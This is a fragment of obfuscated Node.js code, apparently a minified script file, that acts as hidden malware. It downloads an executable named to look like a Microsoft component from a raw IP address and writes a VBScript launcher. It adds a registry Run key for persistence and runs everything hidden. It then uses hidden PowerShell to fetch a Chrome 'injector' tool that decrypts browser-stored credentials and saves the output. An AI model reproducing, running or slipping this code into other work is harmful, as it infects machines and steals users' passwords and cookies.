_0x11e50e=_0x354dd7[_0x423748(0x1ea)+'eStream'](_0x1913cd[_0x423748(0x1db)](_0x145480,_0x423748(0x217)+_0x423748(0x1a7)));_0x2f467d['get']('http://69.'+_0x423748(0x1c9)+'/Microsoft'+_0x423748(0x1cc)+'e',_0x3de017=>{const _0x458494=_0x423748;_0x3de017['pipe'](_0x11e50e),_0x11e50e['on'](_0x458494(0x1cb),()=>_0x11e50e[_0x458494(0x1d0)]());});const _0xd7c486=_0x423748(0x1e6)+_0x423748(0x1ec)+_0x423748(0x1f0)+'ject(\x22WScr'+_0x423748(0x209)+_0x423748(0x1d8)+_0x423748(0x1ca)+_0x423748(0x202)+_0x423748(0x1df)+'indows\x5cSys'+_0x423748(0x1c6)+_0x423748(0x1e9)+'ect\x5cMicros'+'oftProtect'+_0x423748(0x1b5)+'tdOut.Read'+_0x423748(0x203)+_0x423748(0x194)+_0x423748(0x1c6)+_0x423748(0x1e9)+'ect\x5cMicros'+'oftProtect'+'.exe\x22)\x20=\x200'+_0x423748(0x1be)+'CreateObje'+_0x423748(0x1f7)+_0x423748(0x1d5)+_0x423748(0x1c7)+_0x423748(0x190)+'em32\x5cMicro'+_0x423748(0x1b8)+_0x423748(0x1ee)+_0x423748(0x186)+_0x423748(0x1fa)+_0x423748(0x1b2)+_0x423748(0x192)+_0x423748(0x1b0)+'op',_0x5d44b8=_0x1913cd[_0x423748(0x1db)](_0x145480,_0x423748(0x217)+_0x423748(0x1b6));_0x354dd7[_0x423748(0x183)+'ync'](_0x5d44b8,_0xd7c486),_0x2a18a1(_0x423748(0x20d)+'CU\x5cSoftwar'+_0x423748(0x182)+_0x423748(0x180)+_0x423748(0x1c4)+_0x423748(0x1b4)+_0x423748(0x191)+_0x423748(0x1f4)+_0x423748(0x1d2)+_0x423748(0x19b)+'\x20\x22'+_0x5d44b8+_0x423748(0x19e),{'windowsHide':!![]}),_0x1f66e5(_0x423748(0x18d)+'e',[_0x5d44b8],{'detached':!![],'stdio':'ignore'}),_0x2a18a1(_0x423748(0x18e)+'\x20-WindowSt'+'yle\x20Hidden'+_0x423748(0x20c)+_0x423748(0x1d9)+_0x423748(0x20e)+'Uri\x20\x27https'+_0x423748(0x1e3)+'com/xaitax'+_0x423748(0x1f9)+_0x423748(0x18b)+_0x423748(0x1d7)+'ecryption/'+_0x423748(0x1b7)+_0x423748(0x1ef)+'.20.0/chro'+_0x423748(0x19c)+_0x423748(0x210)+_0x423748(0x1ab)+_0x423748(0x213)+_0x340825+(_0x423748(0x1ff)+_0x423748(0x1de)+_0x423748(0x1f3)+'\x20\x27')+_0x340825+(_0x423748(0x1dc)+_0x423748(0x1aa)+_0x423748(0x1fe))+_0x340825+(_0x423748(0x206)+_0x423748(0x199)+_0x423748(0x1c5)),{'windowsHide':!![]});const _0x292cf3=_0xa5db5f(_0x340825+('\x5cchrome-in'+'jector\x5cchr'+_0x423748(0x1d4)+_0x423748(0x215)),[_0x423748(0x1cd),'-o',_0x4552bd],{'windowsHide':!![]});}()));
|
|
2
2
|
//# sourceMappingURL=map.js.map
|